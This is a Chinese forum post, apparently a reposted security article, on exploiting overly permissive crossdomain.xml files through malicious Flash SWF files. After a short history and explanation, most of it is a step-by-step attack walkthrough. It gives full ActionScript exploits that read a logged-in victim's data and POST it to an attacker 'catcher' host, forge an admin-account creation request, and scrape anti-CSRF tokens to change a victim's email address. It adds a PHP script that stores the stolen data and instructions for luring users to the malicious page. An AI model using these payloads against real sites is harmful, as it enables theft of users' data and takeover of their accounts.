马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要 登录 才可以下载或查看,没有账号?立即注册
x
crossdomain.xml文件配置不当利用手法
不恰当的crossdomain.xml配置对存放了敏感信息的域来说是具有很大风险的。可能导致敏感信息被窃取和请求伪造。攻击者不仅仅可以发送请求,还可以读取服务器返回的信息。这意味着攻击者可以获得已登录用户可以访问的任意信息,甚至获得anti-csrf token。
追溯历史: 这是一个很古老的漏洞了。有多老呢,已经有8年了。在计算机领域,8年真的很长很长了。下面是一个粗略的crossdomian.xml漏洞的时间表。 2006: Chris Shiflett,Julien Couvreur, 和 Jeremiah Grossman 开始公开讨论这个漏洞.
2008: Jeremiah Grossman 再一次分析这个问题。
2010: Erlend Ofedel和 Mike Bailey 在Blackhat DC上演讲这个议题。 2011: FORTH-ICS, SAP Research, 和 UC San Diego 都发布了关于crossdomain.xml的研究报告和错误配置可能引起的安全风险。 虽然这个问题在06年就提出来了。在11年的时候有了好几个优秀的paper来研究这个问题。但是这个漏洞从来没有引起足够的重视。下面是2014年3月google相关的关键字时可以搜索到的信息。 对于crossdomain.xml配置不当的危害很多文章已经说的很清楚了。可是如何利用这个漏洞,怎样写一个exploit来证明漏洞确一直没有很好的资料。直到2013年8月Gursev Kalra写了一篇博客并分享了他的利用代码。 漏洞分析: 笼统来说,如果一个站点符合下面3个条件,就会存在crossdomain.xml引起的安全风险。 1,一个站点的根节点下存在crossdomain.xml文件。比如:www.freebuf.com/crossdomain.xml. 2,crossdomain.xml的配置是过度授权的,比如本文开头截图中的配置。 3,目标站点:freebuf.com上存在敏感数据或者可以在目标站点上执行一些敏感操作。 如果目标站点满足条件1和2,但是对方没有存储敏感信息,也不能执行一些敏感的操作。那么配置不当的crossdomain.xml也引起不了严重的危害。但是如果目标站点存在敏感信息或者具备敏感操作。那么不恰当的配置就相当于对任意站点上的恶意SWF敞开了大门。举个例子。这时候,一个www.fake-freebuf.com域下的swf可以绕过同源策略,访问www.freebuf.com域上一个授权用户可以访问的任意 信息。 漏洞利用: 终于来到最有意思的部分了。首先配置测试环境。下面是在kali linux 下配置mxmlc的环境。用来编译swf。如果你是windows系统可以直接下载flex sdk。已经有flash开发环境的同学可以略过这部分。 1,安装adobe flex: - <font color="rgb(102, 102, 102)"><font face="微软雅黑,">apt-get install openjdk-6-jdk
- mkdir /opt/flex
- /opt/flex/
- wget http://download.macromedia.com/pub/flex/sdk/flex_sdk_4.6.zip
- unzip flex_sdk_4.6.zip
- chmod -R a+rx /opt/flex/ >> ~/.bashrc
- chmod 755 bin/mxmlc</font></font>
复制代码 2,获取
- <font color="rgb(102, 102, 102)"><font face="微软雅黑,">mkdir /var/www/crossdomain
- mkdir ~/crossdomain ~
- git clone https://github.com/gursev/flash-xdomain-xploit.git
- cp flash-xdomain-xploit/xdx.html /var/www/crossdomain/
- cp flash-xdomain-xploit/XDomainXploit.as ~/crossdomain/
- vi ~/crossdomain/XDomainXploit.as</font></font>
复制代码 如果没有安装git的话,可以使用wget下载:
- <font color="rgb(102, 102, 102)"><font face="微软雅黑,">/var/www/crossdomain
- wget https://raw.github.com/gursev/flash-xdomain-xploit/master/xdx.html
- ~/crossdomain
- wget https://raw.github.com/gursev/flash-xdomain-xploit/master/XDomainXploit.as
- vi ~/crossdomain/XDomainXploit.as</font></font>
复制代码 3,修改actionscript,满足自己的需求。对于简单的get请求如下,只需要修改自己的victim URL和attacker URL。使用粗体标出。
- // POC Author: Gursev Singh Kalra ([email protected])// XDomainXploit.aspackage { import flash.display.Sprite;
- import flash.events.*;
- import flash.net.URLRequestMethod;
- import flash.net.URLRequest;
- import flash.net.URLLoader;
- public class XDomainXploit extends Sprite { public function
- XDomainXploit() { // Target URL from where the data is to be retrieved
- var readFrom:String = "http://www.secret-site.com/account/info";
- var readRequest:URLRequest = new URLRequest(readFrom); var getLoader:URLLoader = new URLLoader();
- getLoader.addEventListener(Event.COMPLETE, eventHandler); try {
- getLoader.load(readRequest);
- } catch (error:Error) { trace("Error loading URL: " + error);
- }
- } private function eventHandler(event:Event):void { // URL to which retrieved data is to be sent
- var sendTo:String = "http://malicious-site.com/catcher.php"
- var sendRequest:URLRequest = new URLRequest(sendTo);
- sendRequest.method = URLRequestMethod.POST;
- sendRequest.data = event.target.data;
- var sendLoader:URLLoader = new URLLoader(); try {
- sendLoader.load(sendRequest);
- } catch (error:Error) { trace("Error loading URL: " + error);
- }
- }
- }
- }
复制代码 如果需要发送post请求,并修改http header的话,可以使用下面的代码。
- // POC Author: Gursev Singh Kalra ([email protected])// POC
- Modified to send POSTs and append HTTP headers: Seth Art//
- XDomainXploit.aspackage { import flash.display.Sprite;
- import flash.events.*;
- import flash.net.URLRequestMethod;
- import flash.net.URLRequest;
- import flash.net.URLLoader;
- import flash.net.URLRequestHeader;
- public class XDomainXploit3 extends Sprite { public function
- XDomainXploit3() { // Target URL from where the data is to be
- retrieved
- var readFrom:String = "https://www.secret-site.com/admin/add";
- var header:URLRequestHeader = new URLRequestHeader("Content-Type", "text/plain; charset=UTF-8");
- var readRequest:URLRequest = new URLRequest(readFrom); readRequest.method = URLRequestMethod.POST
- readRequest.data =
- "{"name":"CSRF-Admin","Group":"admin","password":"password","confirmPassword":"password"}";
- readRequest.requestHeaders.push(header);
- var getLoader:URLLoader = new URLLoader();
- getLoader.addEventListener(Event.COMPLETE, eventHandler); try {
- getLoader.load(readRequest);
- } catch (error:Error) { trace("Error loading URL: " + error);
- }
- } private function eventHandler(event:Event):void { // URL to which retrieved data is to be sent
- var sendTo:String = "http://www.malicious-site.com/crossdomain/catcher.php"
- var sendRequest:URLRequest = new URLRequest(sendTo);
- sendRequest.method = URLRequestMethod.POST;
- sendRequest.data = event.target.data;
- var sendLoader:URLLoader = new URLLoader(); try {
- sendLoader.load(sendRequest);
- } catch (error:Error) { trace("Error loading URL: " + error);
- }
- }
- }
- }
复制代码 4,使用mxmlc编译actionscript。
- /opt/flex/bin/mxmlc ~/crossdomain/
复制代码 5,将swf文件放在自己的web目录下.
- mv ~/crossdomain/XDomainXploit.swf /var/www/crossdomain
复制代码 6,创建用来接受敏感信息的文件。
vi /var/www/catcher.php
- <?php
- $data = file_get_contents("php://input");
- $ret = file_put_contents('/tmp/thanks_for_sharing.txt', $data, FILE_APPEND | LOCK_EX);
- if($ret === false) {
- die('Error writing to file');
- }
- else {
- echo "$ret bytes written to file";
- }
- ?>
复制代码 7,如果没有php环境的话需要安装php。
8,设置服务器支持ssl。
这步不是必须的。但是在 secure="false"没有设置的话,我们就只能从https网站加载swf了。
下面的命令是。更奢侈的伪装是买一个有效的证书,这样用户就不会收到ssl 错误的提示了。
- make-ssl-cert generate-default-snakeoil --force-overwrite
- a2enmod ssl
- a2ensite default-ssl
复制代码 9,启动或者重启web服务器。
- /etc/init.d/apache2 restart
复制代码 10,欺骗用户访问恶意网站:
11,祈祷你的目标用户处于登陆状态。
12,收集和分析你窃取到的数据
- cat /tmp/thanks_for_sharing.txt
复制代码 上面两个poc的功能都是窃取数据,在分析crossdomain.xml配置不当危害的时候,我们提到某些场景可以获取到anti-csrf token来绕过csrf防御。下面是一段在真实的网站中使用的代码,先是通过访问含有csrf token的页面,从返回信息中获取到token,再发送更改绑定邮箱的请求。
- // Original POC Author: Gursev Singh Kalra ([email protected])// Modified to bypass antiCSRF tokens: Seth Art ([email protected])// BypassCSRFchangeEmailAddress.aspackage {
- import flash.display.Sprite;
- import flash.events.*;
- import flash.net.URLRequestMethod;
- import flash.net.URLRequest;
- import flash.net.URLLoader;
- public class BypassCSRFchangeEmailAddress extends Sprite {
- public function BypassCSRFchangeEmailAddress() {
- // Target URL from where the data is to be retrieved
- var readFrom:String = "https://www.secret-site.com/account/edit";
- var readRequest:URLRequest = new URLRequest(readFrom);
- var getLoader:URLLoader = new URLLoader();
- getLoader.addEventListener(Event.COMPLETE, eventHandler);
- try {
- getLoader.load(readRequest);
- } catch (error:Error) {
- trace("Error loading URL: " + error);
- }
- }
- private function eventHandler(event:Event):void {
- // This assigns the reponse from the first
- // request to "reponse". The antiCSRF token is
- // somwhere in this reponse
- var response:String = event.target.data;
- // This line looks for the line in the response
- //that contains the CSRF token
- var CSRF:Array = response.match(/CSRFToken.*/);
- // This line extracts the value of the CSRF token,
- // and assigns it to "token"
- var token:String = CSRF[0].split(""")[2];
- // These next two lines create the prefix and the
- // suffix for the POST request
- var prefix:String = "CSRFToken="
- var suffix:String = "&first_name=CSRF&last_name=CSRF&email=sethsec%40gmail.com"
- // This section sets up a new URLRequest object and
- // sets the method to post
- var sendTo:String = "https://www.secret-site.com/account/edit/"
- var sendRequest:URLRequest = new URLRequest(sendTo);
- sendRequest.method = URLRequestMethod.POST;
- // This next line sets the data portion of the POST
- // request to the "prefix" + "token" + "suffix"
- sendRequest.data = prefix.concat(token,suffix)
-
- // Time to create the URLLoader object and send the
- // POST request containing the CSRF token
- var sendLoader:URLLoader = new URLLoader();
- try {
- sendLoader.load(sendRequest);
- } catch (error:Error) {
- trace("Error loading URL: " + error);
- }
- }
- }
复制代码
|